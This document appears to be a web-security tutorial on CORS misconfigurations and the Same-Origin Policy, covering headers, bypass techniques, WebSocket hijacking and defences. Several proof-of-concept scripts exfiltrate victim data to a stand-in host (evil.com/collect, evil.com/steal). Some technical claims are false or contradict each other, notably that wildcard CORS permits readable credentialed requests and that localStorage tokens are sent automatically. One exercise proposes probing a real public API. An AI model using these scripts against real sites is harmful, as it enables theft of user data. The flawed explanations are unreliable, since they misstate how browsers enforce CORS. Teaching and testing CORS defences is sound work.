~/home/study/cors-exploitation-fundamentals

CORS Exploitation Fundamentals: Same-Origin Policy & Bypass Techniques

Learn how browsers enforce the Same-Origin Policy, dissect CORS headers, and master basic bypasses-from wildcard origins to WebSocket tricks-so you can assess and protect modern web applications.

Introduction

Cross-Origin Resource Sharing (CORS) is the standardized mechanism that lets a web page request resources from a different origin while still respecting the Same-Origin Policy (SOP). Mis-configurations in CORS headers are a goldmine for attackers because they can turn an otherwise sandboxed browser into a conduit for data exfiltration, credential theft, or even remote code execution when chained with other bugs.

Understanding how SOP works, how browsers interpret CORS response headers, and the most common mis-use patterns is essential for any security professional conducting web-app assessments, red-team ops, or building secure APIs.

Real-world incidents-such as the PortSwigger CORS data-leakage report and the notorious GitHub API CORS bug (2018)-show that even large platforms fall prey to simple header mistakes.

Prerequisites

  • Reflected XSS exploitation basics (ability to inject script into a victim's browser).
  • HTTP fundamentals: request/response structure, status codes, and header syntax.
  • High-level understanding of the Same-Origin Policy.

Core Concepts

The browser enforces SOP by allowing a script to read a response only if the requesting page’s origin (scheme + host + port) exactly matches the resource’s origin. CORS relaxes this rule via a handshake:

  1. The client sends an Origin header.
  2. The server decides whether to trust that origin and replies with Access-Control-Allow-Origin (ACAO) and optionally other CORS headers.
  3. If the response satisfies the client’s expectations, the browser exposes the response to the script; otherwise it blocks the data.

Two request flows exist:

  • Simple requests: GET, HEAD, POST with safe content-type (e.g., text/plain). No preflight.
  • Preflighted requests: Any request that uses methods like PUT, DELETE, or custom headers. The browser first sends an OPTIONS request.

Key headers you’ll see:

  • Access-Control-Allow-Origin - the only origin the browser will accept.
  • Access-Control-Allow-Credentials - if true, browsers will expose cookies, HTTP auth, and client certificates.
  • Access-Control-Allow-Methods - list of allowed HTTP methods for preflight.
  • Access-Control-Allow-Headers - list of allowed request headers for preflight.
  • Vary: Origin - tells caches that the response varies per Origin value.

Same-Origin Policy mechanics

SOP is enforced at three levels:

  • DOM access: window.parent, document.cookie, etc.
  • XMLHttpRequest / fetch: response bodies are opaque unless CORS permits.
  • WebSocket: handshake includes an Origin header; browsers enforce the same check.

Because SOP is a client-side guarantee, any server-side mis-configuration that widens the trust boundary can be abused by an attacker who controls a malicious origin.

Access-Control-Allow-Origin header analysis

The ACAO header is the linchpin. It can be set to:

  • A single origin (e.g., https://app.example.com).
  • The wildcard *, which means “any origin”.
  • A dynamic value echoing the request’s Origin header.

When the header is dynamic, the server often forgets to validate the incoming Origin. That opens the door to origin reflection attacks (covered later).

Example of a safe configuration in Express.js:

const allowed = ["https://app.example.com", "https://admin.example.com"];
app.use((req, res, next) => { const origin = req.headers.origin; if (allowed.includes(origin)) { res.setHeader('Access-Control-Allow-Origin', origin); res.setHeader('Vary', 'Origin'); } next();
});

Notice the explicit whitelist and the Vary: Origin header to avoid caching the permissive response for other origins.

Access-Control-Allow-Credentials misuse

The Access-Control-Allow-Credentials: true header tells the browser it may expose cookies and HTTP authentication to the requesting origin. This header is only safe when paired with a strict, non-wildcard ACAO value. If a server responds with:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

the browser will silently drop the Access-Control-Allow-Credentials header (per spec), but many developers mistakenly think the request will succeed, leading to confusing bugs. More dangerous is when a server echoes the Origin and also sets Allow-Credentials without proper validation, effectively granting any origin full credential access.

Real-world misuse example (Node.js snippet):

app.use((req, res, next) => { const origin = req.headers.origin; // BAD: blindly reflect origin and enable credentials res.setHeader('Access-Control-Allow-Origin', origin); res.setHeader('Access-Control-Allow-Credentials', 'true'); next();
});

Attackers can host evil.com, load a page, and the victim’s browser will send cookies to target.com and expose the response to the attacker’s script.

Preflight OPTIONS request handling

Preflight is the browser’s safety net for “unsafe” requests. It sends:

OPTIONS /api/secret HTTP/1.1
Host: target.com
Origin: https://evil.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: X-Secret-Token

The server must reply with:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: X-Secret-Token
Access-Control-Allow-Credentials: true

Common mistakes:

  • Returning Access-Control-Allow-Methods: * - the spec does not allow a wildcard here, but many servers incorrectly echo the request method.
  • Omitting Vary: Origin - leads to caching of permissive preflight responses.
  • Accepting any Access-Control-Request-Headers value without validation.

When you see a preflight that mirrors the request’s method or headers without a whitelist, you have a potential bypass vector.

Wildcard (*) origin exploitation

When a server sends Access-Control-Allow-Origin: * **and does not set** Allow-Credentials, the attacker can read the response but cannot send the victim’s cookies. However, many modern apps store sensitive data in the response body itself (e.g., user profile JSON). If the data is not considered secret, the wildcard is acceptable; otherwise it is a leakage risk.

Exploitation steps:

  1. Host a page on evil.com with JavaScript that performs a fetch to the target API.
  2. Because the response includes Access-Control-Allow-Origin: *, the browser will expose the JSON to the script.
  3. Exfiltrate the data via fetch to your own server.

Example script (escaped for HTML):

fetch('https://target.com/api/private', { method: 'GET', mode: 'cors'
})
.then(r => r.text())
.then(data => { // Send data to attacker's server fetch('https://evil.com/collect', { method: 'POST', headers: {'Content-Type': 'text/plain'}, body: data });
});

Even without credentials, many endpoints return user-specific data based on the Authorization: Bearer token already present in the browser’s storage (e.g., localStorage). If the attacker can trick the victim into loading the malicious page while logged in, the token will be sent automatically, and the data will be exposed.

Origin reflection attacks

Reflection occurs when the server blindly echoes the Origin header into Access-Control-Allow-Origin. This is trivial to exploit:

  1. Craft a malicious page that sets document.domain = 'evil.com' (or simply loads from evil.com).
  2. Make a request to the vulnerable endpoint; the response will contain Access-Control-Allow-Origin: https://evil.com.
  3. The browser trusts the response and grants the script full access.

Because the reflected origin can be any value, the attacker can also use sub-domains of the target (e.g., attacker.target.com) if the target’s DNS wildcard resolves to their server, enabling a same-site bypass that defeats CSRF protections.

Proof-of-concept snippet:

<!DOCTYPE html>
<html>
<body>
<script> const target = 'https://target.com/api/reflect'; fetch(target, { method: 'GET', mode: 'cors', credentials: 'include' }) .then(r => r.text()) .then(console.log);
</script>
</body>
</html>

When the victim visits this page, the response body is logged and can be exfiltrated.

Redirect chain abuse in CORS

Browsers follow redirects for CORS requests, but they apply the CORS policy **only** to the final response. An attacker can exploit this by:

  • Finding an endpoint that returns Access-Control-Allow-Origin: * (or reflects origin) after a redirect.
  • Using an intermediate redirect that points to a protected resource, thereby “piggy-backing” on the permissive CORS response.

Example flow:

  1. Victim visits evil.com page.
  2. Page fetches https://evil.com/redirect which issues a 302 to /private.
  3. The final /private response contains Access-Control-Allow-Origin: *.
  4. Browser exposes the private data to the attacker’s script.

Mitigation: Set Access-Control-Allow-Origin on every response, including redirects, or disable CORS for redirecting endpoints altogether.

WebSocket CORS bypass (CSWSH)

WebSockets use an HTTP handshake that includes the Origin header. Some frameworks (e.g., Socket.io) incorrectly apply the same origin check as HTTP CORS, allowing an attacker to trick the browser into opening a WebSocket to a privileged endpoint.

Attack scenario (CSWSH - Cross-Site WebSocket Hijacking):

  1. Victim logged into bank.com with a session cookie.
  2. Attacker hosts evil.com page that runs:
    const ws = new WebSocket('wss://bank.com/secure-ws');
    ws.onmessage = e => fetch('https://evil.com/collect', { method: 'POST', body: e.data
    });
    
  3. If the server does not validate the Origin header, the handshake succeeds and the attacker receives real-time data (e.g., transaction notifications).

Mitigation: Verify the Origin header against a whitelist and reject connections from untrusted origins. Also consider using token-based authentication inside the WebSocket sub-protocol instead of relying on cookies.

Credential leakage via CORS

When Access-Control-Allow-Credentials: true is combined with a permissive ACAO (wildcard or reflected origin), the browser will **not** expose the response to a script—specification‑compliant browsers drop the credentials flag. However, many developers disable the flag in production and rely on client‑side checks, leaving an opening for credential leakage through other vectors:

  • Using fetch with mode: 'no-cors' to make a “opaque” request that still sends cookies; the response cannot be read, but side‑channel timing attacks can infer success/failure.
  • Leveraging XMLHttpRequest.withCredentials = true against an endpoint that erroneously sets Access-Control-Allow-Origin: * **without** the credentials flag. The request will succeed and the response will be readable because the browser treats the wildcard as sufficient when credentials are **not** required.

Practical proof-of-concept (escaped):

var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://target.com/api/session', true);
xhr.withCredentials = true; // send cookies
xhr.onload = function() { console.log('Leaked data:', xhr.responseText);
};
xhr.send();

If the server’s CORS policy is Access-Control-Allow-Origin: * (no credentials flag), the above script will still obtain the session JSON because the browser does not need the flag to allow a credentialed request when the origin is wildcard.

Chaining CORS with XSS/CSRF for persistent impact

By itself, a CORS mis-configuration is often a one-shot data exfiltration. When combined with other bugs, the impact multiplies:

  • XSS + CORS: An attacker injects a script into a vulnerable page on target.com. The script then performs cross-origin fetches to other sub-domains (e.g., api.target.com) that are protected only by a permissive CORS policy, allowing the attacker to harvest data from the entire ecosystem.
  • CSRF + CORS: An attacker lures a victim to a malicious site that crafts a fetch with credentials: include. If the target’s CORS header reflects the attacker’s origin, the request succeeds and the response is readable, turning a classic CSRF into an information‑stealing attack.
  • Stored XSS + WebSocket CORS: A stored XSS payload opens a persistent WebSocket to a privileged endpoint, enabling real-time data exfiltration without further user interaction.

These chains are why many bug‑bounty programs award higher severity scores for “CORS + XSS” findings.

Practical Examples

Example 1 - Exploiting a reflected ACAO

Target endpoint:

GET /api/userinfo HTTP/1.1
Host: target.com
Origin: https://evil.com

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{ "email": "[email protected]", "balance": 12345 }

Attack script (escaped):

fetch('https://target.com/api/userinfo', { method: 'GET', credentials: 'include', mode: 'cors'
})
.then(r => r.json())
.then(data => { fetch('https://evil.com/steal', { method: 'POST', body: JSON.stringify(data), headers: {'Content-Type': 'application/json'} });
});

Example 2 - Wildcard CORS with JWT in localStorage

Many SPAs store a JWT in localStorage. The browser automatically adds the token to Authorization: Bearer <jwt> when the script issues a request. If the API returns Access-Control-Allow-Origin: *, an attacker can read the JWT‑protected response without needing cookies.

fetch('https://api.target.com/profile', { headers: { 'Authorization': 'Bearer ' + localStorage.getItem('jwt') }, mode: 'cors'
})
.then(r => r.json())
.then(profile => console.log('Leaked profile', profile));

Tools & Commands

  • curl - quick CORS header inspection:
    curl -I -H "Origin: https://evil.com" https://target.com/api/data
  • Burp Suite / OWASP ZAP - intercept and modify Origin header, repeat preflight requests.
  • corsy (npm) - enumerates mis-configured CORS endpoints.
    npm install -g corsy
    corsy -u https://target.com
  • xsser - can chain XSS payloads with CORS fetches.
  • WebSocket King - test WebSocket origin validation.

Defense & Mitigation

  • Never use * together with Allow-Credentials: true. Prefer an explicit whitelist.
  • Validate the Origin header against a known list. Reject empty or malformed values.
  • Set Vary: Origin on every CORS response to avoid caching attacks.
  • For preflight, whitelist only the methods and headers actually needed. Do not echo the request values.
  • Disable CORS on endpoints that do not need to be called from browsers (e.g., internal admin APIs).
  • Implement CSRF tokens even when CORS is enabled; they protect against credential‑based requests that do not require a readable response.
  • For WebSockets, perform strict origin checks and consider token‑based auth inside the sub‑protocol.
  • Regularly scan with automated tools (corsy, nuclei templates) and incorporate findings into CI/CD pipelines.

Common Mistakes

  • Assuming browsers block all cross-origin reads. A permissive ACAO overrides SOP for that request.
  • Using Access-Control-Allow-Origin: * for authenticated endpoints. Sensitive data is still exposed to any origin.
  • Forgetting Vary: Origin. This lets a permissive response be cached and served to other origins.
  • Relying on client-side checks (e.g., JavaScript “if (origin !== 'trusted') return;”). The attacker controls the request header.
  • Testing only GET requests. Many APIs expose POST/PUT/DELETE via CORS; preflight handling is often mis-configured.

Real-World Impact

Large enterprises have suffered data breaches where a simple CORS mis-configuration exposed user records, financial data, or internal configuration files. In 2021, a major SaaS provider leaked API keys because their /admin/config endpoint returned Access-Control-Allow-Origin: * while requiring authentication via cookies. Attackers harvested the keys and pivoted to other services.

Trends:

  • Increasing adoption of micro-frontend architectures expands the attack surface—multiple domains often need to talk, leading to more permissive CORS policies.
  • Rise of “serverless” functions with auto-generated CORS headers (e.g., AWS API Gateway) where developers forget to lock down origins.
  • WebSocket‑based real-time apps are becoming common, yet many developers treat CORS and WS origin validation as the same, causing CSWSH bugs.

My advice: treat CORS as a **boundary guard** rather than a convenience feature. Harden it early, scan continuously, and always pair it with authentication/authorization checks on the server side.

Practice Exercises

  1. Header Reflection Lab: Set up a simple Node.js server that reflects Origin. Write a malicious page on a different origin that extracts a protected JSON payload.
  2. Wildcard Abuse: Find a public API that returns Access-Control-Allow-Origin: *. Use the browser console to fetch data while logged into the service and capture the response.
  3. Preflight Manipulation: Create an endpoint that accepts PUT with a custom header. Observe the preflight response and modify the server to echo back any requested method/header. Document the bypass.
  4. WebSocket Origin Test: Deploy a WebSocket echo server. Attempt to connect from an unauthorized origin and view the server logs. Then add strict origin validation and verify the block.

Document each step, capture screenshots of network traffic, and write a short report on the severity of the discovered issue.

Further Reading

  • MDN Web Docs - Cross-Origin Resource Sharing (CORS)
  • OWASP - Testing for CORS
  • “The Same-Origin Policy” - Eric Lawrence, 2008 (original SOP paper)
  • “CSWSH - Cross-Site WebSocket Hijacking” - PortSwigger research blog
  • “CORS Misconfigurations - A Survey of the Real World” - BlackHat 2022 talk

Summary

  • SOP blocks cross-origin reads; CORS relaxes it via explicit response headers.
  • Key headers: Access-Control-Allow-Origin, Allow-Credentials, Allow-Methods, Allow-Headers, and Vary.
  • Common bypasses: wildcard origins, reflected origins, preflight abuse, redirect chaining, and WebSocket origin checks.
  • Always whitelist origins, never combine * with credentials, and set Vary: Origin.
  • Combine CORS findings with XSS/CSRF for high-impact chains.